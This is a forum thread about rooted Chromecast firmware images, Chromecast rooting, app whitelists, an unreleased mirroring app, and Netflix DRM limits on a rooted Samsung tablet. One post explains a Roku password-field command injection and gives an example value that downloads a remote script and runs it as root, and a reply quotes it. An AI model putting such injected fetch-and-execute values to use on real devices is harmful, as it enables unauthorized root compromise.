Related
These images are outdated! do not use them anymore!
there are much more useful roms and mods for the chromecast now made my devs who actually own the device. go use them. I am no longer doing anything at all with the chromecast. (I haven't found one at any local store with a serial number in the rootable range, and I have no use for a stock one.)
rooted images for the chromecast that will remove google's ability to update anything at will. Use this to save your open bootloader.
Discussion started in here: http://forum.xda-developers.com/showthread.php?t=2387392
Split off to make it easier to find for new users.
download:
build 13300: http://forum.xda-developers.com/showthread.php?t=2453097 not my image. Made by someone who actually owns a chromecast.
build 12940: https://dl.dropboxusercontent.com/u/19978192/gtvhacker-chromecast-12940.bin.gz
build 12840: https://dl.dropboxusercontent.com/u/19978192/gtvhacker-chromecast.bin.gz
Thanks to:
GTVHacker - original root image
Google - for making the h2g2-42
ellen - putting up with me making these instead of watching chick flics with her
reserved for later use
reserved because I like reserving posts
tvall said:
reserved because I like reserving posts
Click to expand...
Click to collapse
I like that you're reserving posts! ...especially this kind of post! lol
If I factory reset my chromecast with this firmware will it upgrade or keep this firmware?
extrem0 said:
If I factory reset my chromecast with this firmware will it upgrade or keep this firmware?
Click to expand...
Click to collapse
A factory reset will just wipe the data partition, so the device will still be safe from self-upgrading.
This is great man, I just got my cable today and my chromecast a couple days ago, I refrained from plugging it in, so unless its been updated already it should be on!
So do I need to flash the original GTVHacker bin and then your 12940 bin?
Thanks for the great work and thanks to GTVHackers and XDA.
You can just flash mine
twist said:
This is great man, I just got my cable today and my chromecast a couple days ago, I refrained from plugging it in, so unless its been updated already it should be on!
So do I need to flash the original GTVHacker bin and then your 12940 bin?
Thanks for the great work and thanks to GTVHackers and XDA.
Click to expand...
Click to collapse
Flash tvall's image if you don't want it to auto-update and loose root..
Wisiwyg said:
Flash tvall's image if you don't want it to auto-update and loose root..
Click to expand...
Click to collapse
So we only need to flash one of these two images, correct? I'm assuming it's the first one, right? "gtvhacker-chromecast-12940.bin.gz" is tvall's image that we need to flash? After flashing that image, we'll be rooted, on the most current version, AND auto-updates will be disabled?
jsdecker10 said:
So we only need to flash one of these two images, correct? I'm assuming it's the first one, right? "gtvhacker-chromecast-12940.bin.gz" is tvall's image that we need to flash? After flashing that image, we'll be rooted, on the most current version, AND auto-updates will be disabled?
Click to expand...
Click to collapse
Correct
It is my understanding that one of Google's OTA's blocks local files streaming like Fling. Does your image contain the update that broke Fling?
dmcccdmn said:
It is my understanding that one of Google's OTA's blocks local files streaming like Fling. Does your image contain the update that broke Fling?
Click to expand...
Click to collapse
IIRC, it wasn't an OTA update that broke Fling. Google made some changes server-side that broke it. The ChromeCast connects to Google servers (or 'phones home') during use. The developer of Fling used unsupported API calls in the app, which was built using the preview SDK. Google's updates invalidated those calls, essentially rendering the app useless. Google has stated that the breaking of local media casting was unintentional, and they do plan on allowing support in the future. At the moment, the ChromeCast can still be considered a device in testing. I don't think the official SDK is out yet.
AirCast was "reverse engineered" though, right? So if it didn't have that "time bomb" in it, it should still work, right?
Sent from my VZW Galaxy S3 using Tapatalk 4 Beta
jsdecker10 said:
AirCast was "reverse engineered" though, right? So if it didn't have that "time bomb" in it, it should still work, right?
Sent from my VZW Galaxy S3 using Tapatalk 4 Beta
Click to expand...
Click to collapse
Aircast is dead. Fling is dead. Rooting does not help. These are dead until some day Google decides to allow it. Google allows only a few apps : Netflix, YouTube, and Google provided content. Google could have decided that allcast and fling were so popular that permitting it like Netflix is permitted will increase sales. Google could have decided to permit allcast and fling, but decided against it.
So, you might have purchased the chromecast after reading about allcast as I did, and am disappointed with having purchased a device whose very few apps are uninteresting to me.
There are only a few choices :
1. Wait and hope google will permit allcast and Fling in the future.
2. Wait and see if developers will provide this functionality for rooted devices.
3. Sell the chromecast to someone who loves Netflix and netflix alone - who isn't interested in connectivity to the many other Internet content providers - like one has access to via Roku.
Actually, stores have many devices, either standalone or built into blu ray players which provides Netflix along with far more choices for Internet provided media. Google's chromecast looks very inferior to me.
In its current form, chromecast is probably a big disappointment to most people who have purchased it. The only hope is that it will become something better in the future - either directly from Google, or via developers.
At this time, rooting gets us nothing, except hope.
Anyone want to write some detailed instructions on how to use this?
I just make the images, I don't know exactly how to use them
tim is so helpful
tvall said:
Anyone want to write some detailed instructions on how to use this?
I just make the images, I don't know exactly how to use them
Click to expand...
Click to collapse
tvall...man, lemme tell ya...i'm impressed. You're sittin there making images for our Chromecasts and you aren't even able to see if they work or not and you aren't even getting to enjoy this toy. I wouldn't have NEAR the patience that you must have, especially if I wasn't even able to enjoy what I had worked on. I dunno how you do it man, but congratulations! you're officially DA BOMB!! lol We all appreciate everything you've done for us here and look forward to MANNNYYYYY more updates from you! Thank You!
deepdespair said:
IIRC, it wasn't an OTA update that broke Fling. Google made some changes server-side that broke it. The ChromeCast connects to Google servers (or 'phones home') during use. The developer of Fling used unsupported API calls in the app, which was built using the preview SDK. Google's updates invalidated those calls, essentially rendering the app useless. Google has stated that the breaking of local media casting was unintentional, and they do plan on allowing support in the future. At the moment, the ChromeCast can still be considered a device in testing. I don't think the official SDK is out yet.
Click to expand...
Click to collapse
That's very odd. I didn't think that Fling would need to connect to Google servers in order to function. Shouldn't everything just work locally? If I unhook my cable modem and leave my router on, wouldn't Fling still function without the internet?
dmcccdmn said:
That's very odd. I didn't think that Fling would need to connect to Google servers in order to function. Shouldn't everything just work locally? If I unhook my cable modem and leave my router on, wouldn't Fling still function without the internet?
Click to expand...
Click to collapse
See here:
http://forum.xda-developers.com/showthread.php?p=45011314
Sent from my TF300T using Tapatalk 4
Is it possible now that i got it rooted?
Nope
Nope..... Someone else will have to elaborate. see this thread http://forum.xda-developers.com/showpost.php?p=44987909&postcount=127 just have to wait for the devs on this one. I hope CC doesn't follow the same fate as Google TV did in the developer community.
What you can do now that you are rooted is install flashcast and wait on the "cooks" to figure something out; you can flash all the latest updates with any dev mods (i.e. disabled ota updates, DNSUnlocated) and not have to worry about loosing root once it makes a difference.
Bottom line: right now root means next to nothing; i don't think the CastSDK is even publically released (Hmmm reminds me of Google TV again)
NOW WHO WANTS TO PLAY SOME ZOMBIES!
Does anyone know if there will be any rooting to the current builds of Chromecast?
No
85gallon said:
No
Click to expand...
Click to collapse
Are you sure about that? I thought nothing has been found yet but still looking for a way.
wptski said:
Are you sure about that? I thought nothing has been found yet but still looking for a way.
Click to expand...
Click to collapse
Well they found an exploit in the original (Shipped) ROm that Google quickly plugged up.
And Google has been updating the ROM like Crazy (Compared to what you see on Phones) so it's difficult to keep up (God Bless Team Eureka for doing so!)
Rooting presents some issues since Google could stop you from updating via OTA if it sees root so it almost makes little sense to root right now since it is unlikely to be permanent, will make getting the latest Updates sketchy.
Until such time as the ROM is mature enough with enough App Support that they won't be constantly updating the unit, (Even if just to update the Whitelist) I don't see anyone coming up with a permanent rooting method.
Truth is the Whitelist is the biggest reason to Root and Flash a custom that I know of but I'm sure Team Eureka has added some goodies to their ROM that I'm not aware of.
If you want a rooted CCast I suggest trying to find one with a Rootable Serial Number and rooting that one before it Updates with Google.
The original hack to root the Chromecast was in the boot loader. Google has patched that and made the boot loader secure. You can't install any software on the Chromecast, and it will only talk to whitelisted apps, so how are you going to root it now? I'm not saying it's impossible, just very difficult.
For example an exploit to root the very secure Roku boxes came out 2 days ago, and the security hole exploited was an incredibly dumb oversight by Roku. The Roku can be put into Developer Mode by a special combination of remote button presses. The Developer Mode displays extra information and allows you to install apps over a local network without going through the app store, but the app environment is no less secure. You can specify a password for Developer Mode when you first set it up, and you can later reset that password if you want. When you type in a new password, the Roku internally executes a shell command of the form "passwd rokudev (new password)" to set the password. Somehow Roku forget to check and clean the password field input, and you are allowed to use a semi-colon in the password. But a semi-colon is used in Linux to separate multiple commands on one line, so when the password input is internally inserted into the command line to set the new password, everything after a semi-colon is interpreted as a new Linux shell command and executed with full root privilege. So for example the password input ";wget -O/tmp/x.sh http://SomeExploitScript;sh /*/x.sh;" happily downloads and executes whatever exploit script you want on the device with full root privilege.
Could something like that happen on the CC? Maybe.
DJames1 said:
Somehow Roku forget to check and clean the password field input, and you are allowed to use a semi-colon in the password. But a semi-colon is used in Linux to separate multiple commands on one line, so when the password input is inserted into the command line to set the new password, everything after a semi-colon is interpreted as a new Linux shell command and executed with full root privilege. So for example the password input ";wget -O/tmp/x.sh http://exploitscript;sh /*/x.sh" happily downloads and executes whatever exploit script you want on the device with full root privilege.
Click to expand...
Click to collapse
Ouch, that's like a SQL injection attack.
Back to Chromecast, I think everyone's waiting for the SDK to be released and hoping to find an exploit there, as once the SDK is released it's more difficult to change it or take it back.
Asphyx said:
Well they found an exploit in the original (Shipped) ROm that Google quickly plugged up.
And Google has been updating the ROM like Crazy (Compared to what you see on Phones) so it's difficult to keep up (God Bless Team Eureka for doing so!)
Rooting presents some issues since Google could stop you from updating via OTA if it sees root so it almost makes little sense to root right now since it is unlikely to be permanent, will make getting the latest Updates sketchy.
Until such time as the ROM is mature enough with enough App Support that they won't be constantly updating the unit, (Even if just to update the Whitelist) I don't see anyone coming up with a permanent rooting method.
Truth is the Whitelist is the biggest reason to Root and Flash a custom that I know of but I'm sure Team Eureka has added some goodies to their ROM that I'm not aware of.
If you want a rooted CCast I suggest trying to find one with a Rootable Serial Number and rooting that one before it Updates with Google.
Click to expand...
Click to collapse
Sounds like your anti-root and so your not rooted? The latest Team Eureka ROM is based on the latest Google build so I don't see a problem there. I have two TV's using only one rooted CC on my main TV but have a spare rooted CC as a backup right now.
LOL this is XDA...the word IMPOSSIBLE isn't part of the Vocabulary here!
Someone will find a way to send something to CCast that makes it rooted...
Nothing is completely secure around these parts!
I think the only current downside to being root vs not is that updates are slightly delayed.
IMO that's not a bad thing because Team Eureka has been very quick on updates and having them look at updates before they roll out to me means there's one extra level of bug detection (and in some cases, fixing!).
A potential but as of yet unmaterialized risk of being root is being denied access to Google Play Movies if root is detected. However, I don't really expect that to happen as Chromecast doesn't have storage, unlike phones which often download content for later playback.
wptski said:
Sounds like your anti-root and so your not rooted? The latest Team Eureka ROM is based on the latest Google build so I don't see a problem there. I have two TV's using only one rooted CC on my main TV but have a spare rooted CC as a backup right now.
Click to expand...
Click to collapse
Nope not rooted....At least on my CCast....I have a dozen other devices all rooted because rooting gives me the ability to change some parameters and add some capability disabled by default.
Not against Root but Root is really only worthwhile if you need to do something you can't do unrooted.
What are you doing with root that I can't right now other that bypass a whitelist? Running a Rom that incorporates the fixes I got today sometime tomorrow? Im sure team Eureka's rom does much more than just bypass the Whitelist but really other than All Cast (which I don't need since I got PlexPass) there is nothing I have seen root and a custom ROM do that I don't already have except maybe Screen Mirroring which doesn't really require root just someone to make an APP that tells the CCast it is a Googlecast which is on the Whitelist.
Does rooting make the NBC app able to stream to the CCast?
What I AM against is Flash Addiction though....
See a Nightly and just flash it because it's new without any regard to if it is better or stable!
Too many people seem to buy devices to flash every day as opposed to using them to do what the device is made for and can't because they keep flashing Nightlies that don't work reliably but thats another story entirely.
---------- Post added at 06:47 PM ---------- Previous post was at 06:44 PM ----------
bhiga said:
I think the only current downside to being root vs not is that updates are slightly delayed.
IMO that's not a bad thing because Team Eureka has been very quick on updates and having them look at updates before they roll out to me means there's one extra level of bug detection (and in some cases, fixing!).
A potential but as of yet unmaterialized risk of being root is being denied access to Google Play Movies if root is detected. However, I don't really expect that to happen as Chromecast doesn't have storage, unlike phones which often download content for later playback.
Click to expand...
Click to collapse
And let me be clear this is not meant to downplay the usefulness of the Team Eureka project in any way shape or form...
But I missed out on Rooting because I got the Update and the device doesn't seem to be limiting me on what I need it to do so I'm not really missing the lack of Whitelist!
Team Eureka has been VERY QUICK with the updates as they happen and if you have root good for you!
But I'm not going to complain or keep asking for a new Rooting Method just to have something I don't seem to need right now.
I gave up bragging about what I did to my Devices long ago! LOL
Asphyx said:
Not against Root but Root is really only worthwhile if you need to do something you can't do unrooted.
Click to expand...
Click to collapse
Right now the benefits are:
Custom/Team Eureka whitelist (use apps that aren't Google-blessed) (you already mentioned this )
Check temperature
Manage parameters via web dashboard
Change DNS
Root will rarely fix a broken/buggy app.
So you're right - there isn't a lot of reason to root now that there are Google-blessed app options for casting from local storage, network, and Internet/cloud.
But of course, this is XDA, so sometimes we just want root for the sake of root.
...and temperatures appeal to our outer geek.
---------- Post added at 11:03 AM ---------- Previous post was at 10:55 AM ----------
Asphyx said:
What I AM against is Flash Addiction though....
See a Nightly and just flash it because it's new without any regard to if it is better or stable!
Too many people seem to buy devices to flash every day as opposed to using them to do what the device is made for and can't because they keep flashing Nightlies that don't work reliably but thats another story entirely.
Click to expand...
Click to collapse
First I thought you were talking Adobe (formerly Macromedia) Flash... and I was going to agree.
But you're talking device flash. And I still agree.
I always have fear that automatic updates promote a mentality of "Oh, well, if it's broken we'll just push another update" - that's another advantage of being rooted - you could just turn OTA updates off and you don't have to accept the latest-and-sometimes-not-so-great version.
However, until the SDK is officially released, it's quite possible that some new app or feature will require a particular minimum build, which could cause the delay between official release and rooted release to cause rumblings in the impatient masses. :angel:
Long story short, the core market for Chromecast is people who want to simply Plug and Play. The rest of us are just special.
(Okay, now I think I've exhausted my smiley quota for today)
Asphyx said:
What I AM against is Flash Addiction though....
See a Nightly and just flash it because it's new without any regard to if it is better or stable!
Too many people seem to buy devices to flash every day as opposed to using them to do what the device is made for and can't because they keep flashing Nightlies that don't work reliably but thats another story entirely.
Click to expand...
Click to collapse
Flashing a Nightly is nothing! You see the same users in multiple ROM threads so they aren't flashing a new update, they are changing ROMs daily. I got into trouble mentioning/questioning the fact that there were numerous users that never turn off their tablets which boots in 13 seconds. Seems you can't question the reasons why. They must sleep with them!
bhiga said:
Right now the benefits are:
Custom/Team Eureka whitelist (use apps that aren't Google-blessed) (you already mentioned this )
Check temperature
Manage parameters via web dashboard
Change DNS
Root will rarely fix a broken/buggy app.
So you're right - there isn't a lot of reason to root now that there are Google-blessed app options for casting from local storage, network, and Internet/cloud.
But of course, this is XDA, so sometimes we just want root for the sake of root.
...and temperatures appeal to our outer geek.
Click to expand...
Click to collapse
Yep! And I'm not bemoaning anyone else wanting Root just saying that unless you REALLY need something that requires it I personally don't see the point.
But it's not like root is going to get me WiFi Tethering or a Boat free version of AOSP 4.4
I'm in the US so I don't need to worry about Region blocking and truth is I don't use any service other than NetFlix that requires it. All of My Media is my own via Plex.
As for Temperature I only have three Temps I use in my daily life...
Too Hot
Too Cold
I'm Fine!
LOL
Whitelist bypassing is about the only feature I could want but I haven't seen an App yet that I need (except maybe AllCast) that really compels me to fret about not being rooted.
I fully understand other people's desire to get root especially here, But I also know that Devs rarely waste time on doing the same thing over and over again or waste time cracking root unless they are extremely bored. They have better things to do than play Root Tag with Google!
I would hope instead of working on Root they were working on Apps that could be whitelisted cause at some point if enough apps request whitelisting and it becomes a nuisance to manage on the Google side they will get rid of it entirely! LOL
---------- Post added at 07:21 PM ---------- Previous post was at 07:07 PM ----------
wptski said:
Flashing a Nightly is nothing! You see the same users in multiple ROM threads so they aren't flashing a new update, they are changing ROMs daily. I got into trouble mentioning/questioning the fact that there were numerous users that never turn off their tablets which boots in 13 seconds. Seems you can't question the reasons why. They must sleep with them!
Click to expand...
Click to collapse
It doesn't bother me if thats how they choose to pas the time of their day...LOL To Each his own...
But they almost always come back and complain if the Dev doesn't give them their Fix in a timely fashion!
Even to the point that they donate to the Dev and then expect their $5 donation entitles them to a Weekly update to flash...
The Best however are the few who never read the changelog of the Roms they use and the Developer has a CRONTAB builder running to make a new Nightly automatically regardless if any changes were made!
And they come back and say This version is MUCH BETTER or WORSE! LOL
It's the same EXACT rom you ran yesterday! LOL
@bhiga My Chart say you still have about 20 smileys left! LOL
I chaulk most of the insanity up on FKOTB syndrome (First Kid On The BLOCK)
My devices working and stable is much more important than what it says on the About Page!
But they have been conditioned to think that one number higher somehow relates to being better! LOL
Ok enough off topic Banter My chart says I HAVE reached my Off Topic Quota for the day! LOL
So TC is basically asking someone to read the future.... Interesting.
Sent from my HTC One X using Tapatalk 2
Asphyx said:
I'm in the US so I don't need to worry about Region blocking and truth is I don't use any service other than NetFlix that requires it.
Click to expand...
Click to collapse
I wonder if U.S. users understand how much content they are missing from other countries?
Like the U.K. sources such as the BBC iPlayer and ITV, and the much greater range of new movies on Netflix Canada/Mexico/Brazil/Sweden etc. where licencing is easier and cheaper?
wptski said:
Are you sure about that? I thought nothing has been found yet but still looking for a way.
Click to expand...
Click to collapse
You are reading too much into answer. I simply answered his question. No. Nobody knows if there will be an exploit. Chances are it will happen, but there currently isn't one and nobody knows if there will be one.
DJames1 said:
I wonder if U.S. users understand how much content they are missing from other countries?
Like the U.K. sources such as the BBC iPlayer and ITV, and the much greater range of new movies on Netflix Canada/Mexico/Brazil/Sweden etc. where licencing is easier and cheaper?
Click to expand...
Click to collapse
We can get that content just fine actually....
The restrictions for you folk in the UK have more to do with EU Import limitations not the fact content is restricted by region.
The only Content we can't get here that you can get is stuff like NFL streaming packages because the TV networks here who pay for that content forbid it. Yet I still watch live football anytime I want regardless of what they decided to show me on TV that day.
The only thing that was stopping us from seeing the stuff on BBC iPlayer was their insistence on using Flash which many devices have dropped support for in the US. They have since got away from flash I believe...I now get it via Plex Channel.
And when all else fails and it isn't available via a stream I just load up the ole uTorrent and there it is sitting on my Plex Server in no time.....
Guess it depends on how you put the subject and question together...
Is there a root method for builds newer than 12072?
No.
Will there be a root method for builds newer than 12072?
Nobody knows. The crystal ball is not giving an answer, and we don't trust the Magic 8-Ball.
Yeah, it would make things so much easier to be able to change the DNS. I hope they can get this rooted again.
Sent from my Nexus 4 using xda app-developers app
Roku patched the rooting loophole in their firmware and has pushed it out by automatic update. Time from publication of the vulnerability to patching: 1.5 days.
Google isn't quite that on-the-ball, but if a new vulnerability to root the Chromecast comes out, I hope the originators wait for at least a holiday weekend before publishing it to give us a chance.
I am thinking of releasing an app that can mirror any android devices (starting from Android 2.3 up to android 5.1) to Chromecast receiver.
Since google's Chromecast app can support quite a lot devices, I am not sure if there are still enough interests to mirror android devices with old versions？or to mirror new android devices that Chromecast app do not support?
I did develop such an app, but never released it to public, it's working quite well actually.
Please let me know if you are interested in it, and I can post free versions here.
Please , go ahead. and Let us have a look at it .
huisinro said:
I am thinking of releasing an app that can mirror any android devices (starting from Android 2.3 up to android 5.1) to Chromecast receiver.
Since google's Chromecast app can support quite a lot devices, I am not sure if there are still enough interests to mirror android devices with old versions？or to mirror new android devices that Chromecast app do not support?
I did develop such an app, but never released it to public, it's working quite well actually.
Please let me know if you are interested in it, and I can post free versions here.
Click to expand...
Click to collapse
Would definitely love to try it here also
Sent from my Nexus 5
I'll be glad to test it out
I'd test it for you...
Enviado de meu GT-I9515L usando Tapatalk
Ok, will try to cleanup the current code, and post a version within next week.
Hey. Such an app would be great!!! Thanks
huisinro said:
Ok, will try to cleanup the current code, and post a version within next week.
Click to expand...
Click to collapse
Any update on this?
Sent from my Nexus 5
Hmm, is this being done somehow using the Miracast standard? Curious.
CDB-Man said:
Hmm, is this being done somehow using the Miracast standard? Curious.
Click to expand...
Click to collapse
We will release a version that works on rooted devices first, just to check our native implementation for the chromecast mirroring protocol.
Yes, we also have a miracast receiver, more info will be revealed here.
Thanks for your patience on this app.
Is this still in the making? Really want to screen cast my mx3 android box to my Chromecast
@timdoggg, Yes, it's beging developed, and working very well, but right now, it requires rooting to get the audio. Can you tell me your Android version? why is google Chromecast app not working for your device?
I will try to post something in this thread late this month.
huisinro said:
@timdoggg, Yes, it's beging developed, and working very well, but right now, it requires rooting to get the audio. Can you tell me your Android version? why is google Chromecast app not working for your device?
I will try to post something in this thread late this month.
Click to expand...
Click to collapse
i have a rooted mx3 android box running kitkat 4.4.2. when i use the chromecast app to castg or quick settings it says "casting ended".
ive gotten some luck using 'Screen Stream Mirroring Free' from the play store but its very slow and laggy
timdoggg said:
i have a rooted mx3 android box running kitkat 4.4.2. when i use the chromecast app to castg or quick settings it says "casting ended".
I've gotten some luck using 'Screen Stream Mirroring Free' from the play store but its very slow and laggy
Click to expand...
Click to collapse
Have a rooted Nook HD+( on CM12.1 - lollipop 5.1 ) and chromecast 2015(new version). Regular casting works fine, but there is something preventing mirroring . When hitting casting selection the screen abruptly disconnects. I've tried a program called Mirrorenabler and it also will not mirror. A report by someone using CM11 and some custom rom reported mirroring working fine on Nook HD+ so its not a hardware issue. Does anyone have any thoughts ??
Thanks,
Al
In order for Chromecast app mirror to work, google play services must be installed into system partition. Your android most likely does not have it.
Our Chromecast sender app does not use Google play services, so it should work, please visit this thread later for the apk.
Hey,
I can also confirm that unfortunately on Nook HD+ on CM12.1 mirrorenabler doesn't work, nevertheless on cm11 latest built mirror enabler works great. But still both CM11 and CM12.1 for me are unstable, actually cm12.1 is worst for me getting a lot of download and apps installation slow down, on cm11 I get a lot of keyboard droppings when typing in the browser but gennerally the experience is a lot better.
So would love to test on stock (4.0.4) your app apparently with root.
Thanks
pavlos46 said:
Hey,
I can also confirm that unfortunately on Nook HD+ on CM12.1 mirrorenabler doesn't work, nevertheless on cm11 latest built mirror enabler works great. But still both CM11 and CM12.1 for me are unstable, actually cm12.1 is worst for me getting a lot of download and apps installation slow down, on cm11 I get a lot of keyboard droppings when typing in the browser but gennerally the experience is a lot better.
So would love to test on stock (4.0.4) your app apparently with root.
Thanks
Click to expand...
Click to collapse
My CM12.1 on Nook HD+ is not as good as 5.01 that I previously had. If you get Trickster Mod ( to increase responsivness ) and increase read ahead buffer 768 and get Glove Xperia ( to adjust screen sensitivity if needed ) you might like CM12.1 better
Al
Is this still being developed?
Hello there,
Netflix refuses to play nice even on a systemless root, the only root app installed is supersu. I tried disabling supersu and that still didn't cut it. Anyone have any suggestions?
I am aware of liboemcrypto.so which if renamed/removed can break drm for other services that don't fall back on alternatives. I am aware of the CM patch for exynos 4 that works for this exynos 5 device.
I'm trying to find out if I'm missing something and if anyone would be willing to share with me how they are using netflix with the described scenario.
SM-T710 5.1.1 BOL6 with TWRP & SuperSU in system-less mode.
Thanks!! :silly:
Have you deleted su/xbin_bind?
ashyx said:
Have you deleted su/xbin_bind?
Click to expand...
Click to collapse
The act of even flashing TWRP trips the netflix drm, presumably windvine. I think this goes hand and hand with the systemless root identification. This is simply unacceptable.
This kind of abuse is why people circumvent overbearing DRM because it becomes too difficult to get content through appropriate means. Cavemen banging rocks together to fight the tide and punish paying customers.
I'll be writing emails to windvine, google and netflix to explain why this is unacceptable behavior. This is MY $ 400 tablet, I will not be subjected to nanny knows best mode because some pencil pusher thinks that people will steal video content on android. I mean really, there's far better platforms to do that sort of thing on. I don't think so... homie don't play that.
I encourage everyone to also get in touch with them and let them know why truly owning the device you paid for is your right and why they are taking video on demand back into the stone ages.
wirelesskebab said:
Hello there,
Netflix refuses to play nice even on a systemless root, the only root app installed is supersu. I tried disabling supersu and that still didn't cut it. Anyone have any suggestions?
I am aware of liboemcrypto.so which if renamed/removed can break drm for other services that don't fall back on alternatives. I am aware of the CM patch for exynos 4 that works for this exynos 5 device.
I'm trying to find out if I'm missing something and if anyone would be willing to share with me how they are using netflix with the described scenario.
SM-T710 5.1.1 BOL6 with TWRP & SuperSU in system-less mode.
Thanks!! :silly:
Click to expand...
Click to collapse
Can you explain more about SuperSU in system-less mode? Is it a setting in SuperSU or you just need to flash latest stable SuperSU with TWRP and you will get that systemless root?
mk89pwnz said:
Can you explain more about SuperSU in system-less mode? Is it a setting in SuperSU or you just need to flash latest stable SuperSU with TWRP and you will get that systemless root?
Click to expand...
Click to collapse
As long as you have 5.1.1 >> and use supersu v2.6x then root will be system less as long as you don't make any modifications to the system partition.
netflix is ok on my rooted t715.
It only plays 720p which is annoying but fine otherwise.
also, .. weirdest non informative post title ever award goes to ...
you.
wirelesskebab said:
......
I'll be writing emails to windvine, google and netflix to explain why this is unacceptable behavior. This is MY $ 400 tablet, I will not be subjected to nanny knows best mode because some pencil pusher thinks that people will steal video content on android. I mean really, there's far better platforms to do that sort of thing on. I don't think so... homie don't play that.
.....
Click to expand...
Click to collapse
So because you own a $400 tablet Netflix should change THEIR policy and make THEIR service work on your tablet?
Entitled much? Don't like Netflix's policy, stop using their service.
Sent from my E6683 using Tapatalk
jarayn said:
netflix is ok on my rooted t715.
It only plays 720p which is annoying but fine otherwise.
also, .. weirdest non informative post title ever award goes to ...
you.
Click to expand...
Click to collapse
I'm glad that it works rooted for you, but my thread is not necessarily to be "informative" but to ask the community if they had any alternative solutions to allowing HD netflix content to play despite windvine; barring wiping my tablet. I'm only getting 420p, it was also not okay rooted/custom recovery and was completely disabled if not for workarounds. (This is the true intention of windvine, there is not meant to be a workaround otherwise the functionality wouldn't have been disabled just reduced quality.) Granted my topic title was a manifestation from days of frustration related to trying to find a solution.
_Dennis_ said:
So because you own a $400 tablet Netflix should change THEIR policy and make THEIR service work on your tablet?
Entitled much? Don't like Netflix's policy, stop using their service.
Sent from my E6683 using Tapatalk
Click to expand...
Click to collapse
It's interesting that you condone DRM that punishes paying customers. You're entitled to your opinion although I'm not sure why you've decided to make it about your feelings rather than the facts.
Your quote is incomplete; My message is about encouraging everyone to also get in touch with them and let them know why truly owning the device you paid for is your right and why they are taking video on demand back into the stone ages. The more people who contact them the more likely that change can happen.
You should take note that even one of the largest cable operators "XFINITY" or "COMCAST" doesn't even resort to such draconian measures to protect their content and on that note they have some of the newest content, even releasing episodes before they air on TV same day via their web streaming/xfinity tv go app.
wirelesskebab said:
I'm glad that it works rooted for you, but my thread is not necessarily to be "informative" but to ask the community if they had any alternative solutions to allowing HD netflix content to play despite windvine; barring wiping my tablet. I'm only getting 420p, it was also not okay rooted/custom recovery and was completely disabled if not for workarounds. (This is the true intention of windvine, there is not meant to be a workaround otherwise the functionality wouldn't have been disabled just reduced quality.) Granted my topic title was a manifestation from days of frustration related to trying to find a solution.
It's interesting that you condone DRM that punishes paying customers. You're entitled to your opinion although I'm not sure why you've decided to make it about your feelings rather than the facts.
Your quote is incomplete; My message is about encouraging everyone to also get in touch with them and let them know why truly owning the device you paid for is your right and why they are taking video on demand back into the stone ages. The more people who contact them the more likely that change can happen.
You should take note that even one of the largest cable operators "XFINITY" or "COMCAST" doesn't even resort to such draconian measures to protect their content and on that note they have some of the newest content, even releasing episodes before they air on TV same day via their web streaming/xfinity tv go app.
Click to expand...
Click to collapse
my quote was incomplete, notice the ellipse (...) before and after?
You pay ~$9 a month for a service, you paid $400 for a tablet, you root the $400 item, then get mad that the service doesn't work, even though you knew going into rooting it wouldn't work. I'm sorry but you can be mad, you can ask for help, but at the end of the day you have three real options, don't root, root and live with low res, or cancel Netflix.
I'm not trying to be mean, I am trying manage expectations.
If XFINITY doesn't do it, use them (that's how a free market works). I understand the frustration, and the desire to find a way around the restrictions, but to claim Samsung or Netflix owes you something that you knew wasn't going to happen is entitled. You do own your tablet (though if you read the agreement you agreed to when opening the tablet you would know you don't own the software) but you do not own any of the content on Netflix, and so you have no right to demand Netflix comply with your demands. A grassroots effort is cool, though likely not to amount to much since the number of people who will stop service over this is small compared to the sway the content providers have over Netflix.
None of this is my feelings, it's based on facts. You own the hardware, Samsung owns the software, Netflix owns the service (and some of the original content), the content owners own the content.
_Dennis_ said:
my quote was incomplete, notice the ellipse (...) before and after?
You pay ~$9 a month for a service, you paid $400 for a tablet, you root the $400 item, then get mad that the service doesn't work, even though you knew going into rooting it wouldn't work. I'm sorry but you can be mad, you can ask for help, but at the end of the day you have three real options, don't root, root and live with low res, or cancel Netflix.
I'm not trying to be mean, I am trying manage expectations.
If XFINITY doesn't do it, use them (that's how a free market works). I understand the frustration, and the desire to find a way around the restrictions, but to claim Samsung or Netflix owes you something that you knew wasn't going to happen is entitled. You do own your tablet (though if you read the agreement you agreed to when opening the tablet you would know you don't own the software) but you do not own any of the content on Netflix, and so you have no right to demand Netflix comply with your demands. A grassroots effort is cool, though likely not to amount to much since the number of people who will stop service over this is small compared to the sway the content providers have over Netflix.
None of this is my feelings, it's based on facts. You own the hardware, Samsung owns the software, Netflix owns the service (and some of the original content), the content owners own the content.
Click to expand...
Click to collapse
The purpose of this thread is to ask others if they have any means of accessing HD content via Netflix on their rooted/custom recovery devices. Your replies have not been conducive or relevant to the original post. If you've got something helpful to contribute, please do. Thanks.
Just change device name to SM-T810 using buildprop, worked for me
Exactly which value did you modify? Nothing that I changed to the above suggestion would prompt Netflix to start playback for me.
Sent from my SM-T810
Grobou said:
Just change device name to SM-T810 using buildprop, worked for me
Click to expand...
Click to collapse
disturbd1 said:
Exactly which value did you modify? Nothing that I changed to the above suggestion would prompt Netflix to start playback for me.
Sent from my SM-T810
Click to expand...
Click to collapse
I'm using an SM-T710, I have no modified kernel nor am I using a custom rom. Are you saying you changed the buildprop on your SM-T810 using a custom rom etc?
I cannot get netflix to play with so much as even a custom recovery on my SM-T710 without a workaround which only provides 420p, are you stating you're getting HD content as well?
Eagerly awaiting your reply, thanks. :good:
I tried changing the device name to the model and that didn't make any difference, what did you explicitly change and what rom are you running?/firmware?
Didn't mean to revive a dead thread, but I'd really like some answers regarding this problem, too. I recently rooted my T-710, and installed the neked nook ROM on it. However, Netflix only plays at 480p. I tried several settings suggested to me:
1. modify build.prop
2. delete or rename liboemcrypto
3. modify APK to enable widevine DRM, thus allowing Netflix to stream HD content
None of these solutions have worked. Is this the case for anyone that roots their device?
troyraf said:
Didn't mean to revive a dead thread, but I'd really like some answers regarding this problem, too. I recently rooted my T-710, and installed the neked nook ROM on it. However, Netflix only plays at 480p. I tried several settings suggested to me:
1. modify build.prop
2. delete or rename liboemcrypto
3. modify APK to enable widevine DRM, thus allowing Netflix to stream HD content
None of these solutions have worked. Is this the case for anyone that roots their device?
Click to expand...
Click to collapse
Same problem, using a systemless root on my T710, with stock kernel, 5.1.1. and TWRP installed. I can get Netflix to work, but nothing seems to work to get it to HD instead of 480p. I'm wondering if the folks who get HD on rooted T710s are running 5.0.2?
rogerinnyc said:
